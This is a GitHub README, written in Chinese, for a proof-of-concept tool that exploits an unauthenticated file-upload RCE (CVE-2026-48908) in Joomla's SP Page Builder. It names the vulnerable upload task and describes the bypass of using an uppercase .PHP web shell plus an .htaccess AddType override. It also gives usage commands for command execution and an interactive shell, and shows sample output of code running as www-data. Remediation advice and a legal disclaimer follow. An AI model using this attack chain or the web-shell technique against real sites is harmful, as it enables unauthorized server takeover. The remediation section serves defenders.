papageo75/CVE-2026-48908-PoC

GitHub: papageo75/CVE-2026-48908-PoC

针对 Joomla SP Page Builder 未授权 RCE 漏洞(CVE-2026-48908)的自动化概念验证工具,支持未授权文件上传利用与交互式命令执行。

Stars: 0 | Forks: 0

# CVE-2026-48908 — SP Page Builder (Joomla) 未授权 RCE 针对 **CVE-2026-48908** 的漏洞验证程序 (PoC) 利用代码,这是由 JoomShaper 开发的 Joomla **SP Page Builder** 组件 (`com_sppagebuilder`) 中一个严重的 (**CVSS 4.0 = 10.0**) 未授权 远程代码执行漏洞。 | | | |---|---| | **CVE** | CVE-2026-48908 | | **弱点** | CWE-284 不当访问控制 → 未授权任意文件上传 → RCE | | **组件** | 用于 Joomla 的 SP Page Builder (`com_sppagebuilder`) | | **受影响版本** | **1.0.0 – 6.6.1** | | **修复版本** | **6.6.2** | | **所需权限** | 无 (预认证) | | **用户交互** | 无 | ## 描述 SP Page Builder 暴露了控制器任务 **`asset.uploadCustomIcon`** 来处理上传自定义 icon-font 包: ``` index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon ``` 在受影响的版本中,该任务**无需身份验证且无需有效的 anti-CSRF token** 即可访问。它接受一个 ZIP 存档 (multipart 字段 `custom_icon`) 并**将其内容解压到文档根目录下一个由 Web 对外提供服务的公开目录**中: ``` /media/com_sppagebuilder/assets/iconfont// (including the fonts/ subfolder) ``` 由于该上传接口在认证前即可访问,且解压后的文件直接存放在 Web 根目录下,攻击者可以将受攻击者控制的文件写入可浏览的位置,并通过 HTTP 访问它们。 ### 尽管有扩展名过滤仍能实现代码执行 某些版本在存档条目上添加了服务器端的文件名过滤器。此 PoC 通过三步链式攻击击败了其常见实现: 1. **区分大小写的黑名单。** 该过滤器会拒绝小写的 `.php`, `.phtml`, `.phar`, `.php3`–`.php8`, `.pht`, `.inc` 等,但它**不会**统一大小写,因此 **`.PHP`** (及其他大小写混合的变体) 和 **`.htaccess`** 可以顺利通过。 2. **区分大小写的 Web 服务器处理器。** 默认的 Apache PHP 处理器 (``) 仅执行小写的 `.php`,因此上传的 `.PHP` 最初会作为源码文本提供,而不会被执行。 3. **`.htaccess` 覆盖。** 包含 `AddType application/x-httpd-php .PHP` 的 `.htaccess` 文件 (同样被黑名单遗漏) 会与 payload 一起释放。在允许 `AllowOverride` 的地方,这会将 `.PHP` 注册为 PHP,上传的 web shell 随即**被执行**。 该 PoC 打包了有效的 icon-font 结构 (`selection.json`, `style.css`, `fonts/.ttf`) 以确保上传被接受,此外还包含 `fonts/.htaccess` 和 `fonts/.PHP` web shell。 ## 要求 ``` pip install -r requirements.txt # requests ``` ## 用法 ``` # 确认漏洞并证明代码执行(运行 `id`) python3 sppb_rce.py https://target.example # 运行特定命令 python3 sppb_rce.py --url target.example -c "uname -a" # 交互式 pseudo-shell python3 sppb_rce.py https://target.example --shell # 仅检查;不运行命令 python3 sppb_rce.py https://target.example --check # 之后移除已上传的 payload 目录 python3 sppb_rce.py https://target.example --cleanup ``` 目标可以作为位置参数或通过 `--url` 提供,带或不带协议 (scheme) 均可。 ### 示例 (已脱敏) ``` [*] target : https://target.example [*] uploading payload ZIP (unauthenticated)... [+] uploaded & extracted to webroot: /media/com_sppagebuilder/assets/iconfont/icoabcdef/ [+] CODE EXECUTION CONFIRMED (echo 7*6 -> 42) [*] running: id ------------------------------------------------------------ uid=33(www-data) gid=33(www-data) groups=33(www-data) ------------------------------------------------------------ ``` ### 安全特性 - 释放的 web shell **受每次运行生成的随机 token 保护**,对于没有该 token 的访问者会返回 `404` —— 它不是一个对外开放的后门。 - `--cleanup` 会删除其创建的 payload 目录。 - 默认操作是良性的 (`id`,一个算术标记)。 ## 修复方案 1. **将 SP Page Builder 升级到 6.6.2 或更高版本** (为上传任务添加了身份验证、授权和 CSRF 检查)。这是主要的修复措施。 2. Web 服务器的深度防御: - 通过 FPM 池或 `php_admin_flag engine off` 禁用上传目录 (`/media/`, `/images/`, `/tmp`) 中的 PHP 执行。 - 将这些目录的 `AllowOverride` 设置为 `None`,以防释放的 `.htaccess` 重新启用处理器。 - 对上传扩展名使用不区分大小写的**白名单**,切勿使用黑名单。 3. 假设已被入侵的审查 (Assume-breach review):检查 `media/.../iconfont/` 下是否有意外的 `.php`/`.PHP` 文件,是否有新的超级用户 (Super User) 账户,以及是否被植入了文件管理器。 ## 参考 - NVD — CVE-2026-48908 - JoomShaper SP Page Builder 更新日志 (6.6.2 安全修复) - SP Page Builder 扩展目录列表 ## 免责声明 本软件发布**仅用于教育目的和授权的安全测试** —— 例如您有**书面许可**执行的渗透测试、目标在范围内的漏洞赏金计划、CTF 比赛以及您自己的实验室系统。 未经授权访问、修改或破坏计算机系统在大多数司法管辖区都是**非法的**。**您必须对自己的行为承担全部和完全的责任。** 在使用、下载或分发此代码时,即表示您同意: - 您仅将其用于您**拥有**或具有**明确、书面测试许可**的系统; - 作者和贡献者对因使用或滥用此代码引起的任何损害、数据丢失、服务中断或法律后果**不承担任何责任**; - 本材料按**“原样”提供,不提供任何形式的保证**,无论是明示还是暗示的。 如果您不同意这些条款,请不要使用本软件。与任何公开可用的 exploit/PoC 一样,分享它是出于善意,旨在帮助防御者检测、理解和修复漏洞;您用它做什么由您自己决定。 ## 许可证 MIT — 见 [LICENSE](LICENSE)。
标签:CISA项目, Joomla, OpenVAS, PHP, Web安全, 编程工具, 蓝队分析, 远程代码执行, 逆向工具